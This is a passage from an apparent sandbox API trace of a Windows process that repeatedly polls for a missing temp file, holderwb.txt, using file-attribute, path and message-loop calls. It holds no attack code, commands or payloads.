	[0099.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.511] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.511] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.513] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.513] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.513] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.513] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.513] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.513] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.514] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.514] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.514] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.516] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.516] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.516] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.516] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.517] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.517] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.517] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.517] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.517] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.517] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.517] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.518] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.518] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.518] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.518] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.518] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.518] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.519] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.519] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.519] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.519] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.520] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.520] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.520] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.520] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.521] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.521] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.521] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.521] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.521] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.521] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.521] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.522] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.522] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.522] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.522] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.522] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.522] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.523] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.523] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.523] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.523] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.523] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.523] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.524] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.524] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.524] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.524] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.525] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.525] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.525] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.526] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.526] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.526] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.526] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.526] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.526] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.526] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.527] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.527] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.527] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.527] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
